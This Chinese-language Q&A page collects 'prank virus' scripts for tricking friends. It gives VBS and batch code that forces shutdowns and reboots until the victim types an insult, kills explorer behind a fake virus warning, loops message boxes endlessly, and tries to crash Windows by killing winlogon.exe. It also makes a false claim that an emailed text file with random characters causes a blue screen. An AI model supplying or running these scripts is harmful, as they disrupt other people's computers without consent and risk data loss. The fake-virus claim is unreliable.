恶搞代码，卒恶搞的代码

本文目录一览

1，卒恶搞的代码
2，恶搞电脑病毒代码有哪些
3，求一些VB恶搞代码效果越厉害越好例如蓝屏等等

1，卒恶搞的代码

把以下代码复制到记事本中，然后把扩展名改为.vbs运行即可。 On Error Resume Next Dim WSHshellA Set WSHshellA = wscript.CreateObject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True Dim a Do While (a <> "我是猪") a = InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000) MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox" Loop MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了" WSHshella.run "cmd.exe /c shutdown -a"

卒恶搞的代码

2，恶搞电脑病毒代码有哪些

　　有时候想和朋友们玩玩，搞点恶搞电脑病毒给他们，要怎么办呢?下面由我给你做出详细的恶搞电脑病毒代码介绍!希望对你有帮助! 　　恶搞电脑病毒代码介绍一：　　首先在电脑上新建一个TXT文档　　然后把下面这段代码输入进去　　On Error Resume Next 　　Dim WSHshellA 　　Set WSHshellA = wscript.CreateObject("wscript.shell") 　　WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True 　　Dim a 　　Do While (a <> "我是猪") 　　a = InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000) 　　MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox" 　　Loop 　　MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了" 　　WSHshella.run "cmd.exe /c shutdown -a" 　　然后保存　　然后把这个文本文档的后缀改为vbs 也就是说新建的文本文档本来是.TXT的后缀，　　你要修改为.VBS的后缀　　恶搞电脑病毒代码介绍二：　　新建一个文本文档，然后插入hhjsfdusnjwindow,,hffjfiukjei 508963kfdjksfjjkk,最后插入图片，如果对方有邮箱，就发给他　　他一打开就会出现你插入的图片，然后出现蓝屏 (效果7—10分钟)(注：做好病毒后不要打开，否则会出现以上说的情况) 　　恶搞电脑病毒代码介绍三：　　新建一个文本文档(.txt)，要复制以下代码：　　@echo off 　　color 4 　　tskill explorer 　　echo . 　　echo . 　　echo . 　　echo . 　　echo 警告：在病毒执行期间禁止关闭电源，　　echo 否则你就和你心爱的电脑说　　echo . 　　echo . BYE-BYE 　　echo . 　　echo Computer system crash! 　　echo . 　　echo . 　　echo I am a virus, my name is Ghost. 　　echo 我是魔鬼病毒，在这个堕落的世界上苏醒了。　　echo . 　　echo . Warning! CPU has been changed please re-enter CPU settings 　　echo. in the CMOS setuo and remember to save before quit. 　　echo. Secondary IDE channel no 80 conductor cable installed. 　　set /p select=:) 　　if "%select%"=="" goto start 　　:start 　　shutdown -r -t 10 -c "您的计算机上带有魔鬼病毒，今天是它的发作日期。病毒已经破坏了您的系统，您的计算机将在10秒钟后重启。" 　　::结束　　再另存为：名字.bat 你要记住"名字"后面要加".bat" 　　就可以了，没有任何破坏性，吓吓人。　　你可以试试看看效果。

恶搞电脑病毒代码有哪些

3，求一些VB恶搞代码效果越厉害越好例如蓝屏等等

蓝屏： msgbox "我想要你蓝屏，哈哈..." Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide set ob=wscript.createobject("wscript.shell") 无限循环： do msgbox"" loop 强制关机： on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

这不是恶搞了这个是犯罪

求一些VB恶搞代码效果越厉害越好例如蓝屏等等